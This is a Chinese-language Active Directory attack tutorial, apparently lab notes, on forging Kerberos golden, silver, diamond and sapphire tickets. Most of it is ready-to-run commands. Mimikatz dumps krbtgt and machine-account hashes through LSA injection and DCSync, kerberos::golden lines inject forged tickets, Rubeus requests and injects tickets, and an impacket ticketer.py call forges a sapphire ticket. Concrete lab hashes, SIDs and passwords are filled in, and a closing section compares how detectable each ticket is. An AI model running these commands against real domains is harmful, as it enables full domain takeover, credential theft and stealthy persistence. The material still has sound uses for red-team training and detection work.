内网AD域&Kerberos点&黄金票据&白银票据&钻石票据&蓝宝石票据

1. 黄金票据

黄金票证是一种权限维持手段,攻击者获得了对Active Directory密钥分发服务帐户KRBTGT的控制权,并使用该帐户伪造有效的Kerberos票证授予票证TGT。这使攻击者能够访问Active Directory域上的任何资源,如果有KRBTGT哈希,您可以伪造自己的TGT,其中包括想要的任何组成员身份的PAC数据。

1.1. 利用条件

  • 黄金票据的使用的必要票件是获取域中krbtgt用户使用的加密密钥
  • 目标域名 域SID

1.2. 获取krbtgt用户的密钥

privilege::debug
lsadump::lsa /inject /name:krbtgt 获取krbtgt用户的加密密钥
cmd:
wmic useraccount get Caption,sid  获取域内用户的SID值

bb79e8d659605e72f5df3a6b75187f2a_MD5.png

0adcdae2faabe8a381a0d6bc01e74ba2_MD5.png

获取一下三者其中一个即可

  • NTLM : c3d5042c67ef5f461d0ba6ecdd9ea449
  • aes256_hmac : 3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745
  • aes128_hmac : c7ae2a311bdd5803646f9a98351c31e6

目标域名:rootkit.org

目标域的sid:S-1-5-21-3759881954-2993291187-3577547808

要模拟的用户账户名称:Administrator

要模拟的用户RID:RID是SID右边的数字,例如管理员是500

该账户所属组的RID:域用户和域管理员的RID分别是512和513

1.3. 清除原有票据:

mimikatz 
kerberos::purge

37f2891b0fa86b198af7d4bcf7e6842a_MD5.png

1.4. 注入黄金票据:

NTLM

mimikatz
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /rc4:c3d5042c67ef5f461d0ba6ecdd9ea449 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt

aes256

mimikatz
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes256:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt

aes128

mimikatz
kerberos::golden /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /aes128:c7ae2a311bdd5803646f9a98351c31e6 /user:Administrator /id:500 /groups:500,501,513,512,520,518,519 /ptt

gourps指管理员组的id ,以上三种任选其一即可

f1002aa8777e24aa1a0a5851ad96d24b_MD5.png

2. 白银票据

白银票据是伪造的 Kerberos Ticket Grant Service (TGS) 票证,银票仅允许攻击者伪造特定服务的票证授予服务 (TGS) 票据。TGS 票证使用服务的密码哈希值进行加密,因此如果攻击者窃取了服务帐户的哈希值,就可以生成白银票据。

2.1. 利用条件

  • 白银票据所需的利用条件和黄金票据是相同的,只是秘钥换成了对应服务的机器账户 Hash(尾部带$的均为机器账户)

  • 目标域名 域SID

2.2. 获取机器账户Hash

privilege::debug
sekurlsa::logonpasswords

266f33ff48dee675bddb282c8969f30b_MD5.png

目标域名:rootkit.org

目标域的sid:S-1-5-21-3759881954-2993291187-3577547808-1613

要模拟的用户账户名称:Administrator

要模拟的用户RID:RID是SID右边的数字,例如管理员是500

该账户所属组的RID:域用户和域管理员的RID分别是512和513

2.3. 清除原有票据:

mimikatz
kerberos::purge

2.4. 注入白银票据:

mimikatz
kerberos::golden /sid:S-1-5-21-3759881954-2993291187-3577547808-1613 /domain:rootkit.org /target:SRV-WEB-KIT.rootkit.org /service:cifs /rc4:7ecaeb23ad29fcaffe9ec5f354204ae8 /user:1111 /ptt

对应目标的SID,机器名,hash值 后面的user可以自己随便取

3. 钻石票据

黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证TGT,而钻石票证攻击则利用了域控制器请求的真实TGT进行解密和重新加密进行票据攻击。

3.1. 利用条件

  • 需要一个普通用户的账户密码
  • krbtgt用户的AES256密钥
  • 目标域名 域SID

3.2. 获取krbtgt用户的AES256密钥

privilege::debug
lsadump::dcsync /domain:god.org /user:krbtgt

krbtgt:5a75bb9a4fc4453c66621a54af111884f45bbca6365bf4d81bc059f31e708827

普通用户user:webadmin

用户密码password:admin!@#45

domain:god.org

dc:owa2010cn-god.rootkit.org

3.3. 请求得到有效ticket:

Rubeus.exe asktgt /aes256:5a75bb9a4fc4453c66621a54af111884f45bbca6365bf4d81bc059f31e708827 /user:webadmin /password:admin!@#45 /domain:god.org /dc:owa2010cn-god.god.org /ptt /nowrap

3.4. 3.4.构造票据注入cifs服务:

Rubeus.exe asktgs /ticket:doIEyD...w== /service:cifs/owa2010cn-god.god.org /ptt /nowrap

4. 蓝宝石票据

蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC的修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据。

4.1. 条件

  • 目标域名 域SID

  • 普通用户的账户密码

  • krbtgt用户的 AES256Key 与 NTML

4.2. 获取krbtgt用户的 AESKey 与 NTML

lsadump::dcsync /domain:rootkit.org /user:krbtgt

aa494315d88426eae07ef00e41da57a8_MD5.png

目标域名:rootkit.org

普通用户user:micle

用户密码password:Admin12345

目标域的sid:S-1-5-21-3759881954-2993291187-3577547808

krbtgt aesKey:

3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745

krbtgt nthash:

c3d5042c67ef5f461d0ba6ecdd9ea449

4.3. 脚本生成票据

python3 ticketer.py -request -impersonate 'administrator' -domain 'rootkit.org' -user 'micle' -password 'Admin12345' -aesKey '3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745' -domain-sid 'S-1-5-21-3759881954-2993291187-3577547808' -nthash 'c3d5042c67ef5f461d0ba6ecdd9ea449' 'xiaodi'

完成后会生成一个票据

8e958dc945efafcd430f8ef2f5c8500c_MD5.png

这里要修改host绑定

4.4. mimikatz导入票据

kerberos::ptc xiaodi.ccache

5. 差异:

黄金票据:能控制所有服务协议资源,但容易被安全设备捕获(伪造票据)

白银票据:只能控制指定服务协议资源,但不容易被安全设备捕获(伪造票据)

钻石票据:利用条件增多,权限维持更持续,更不容易被安全设备捕获(真实票据)

蓝宝石票据:利用条件增多,权限维持更持续,更难被安全设备捕获(真实票据)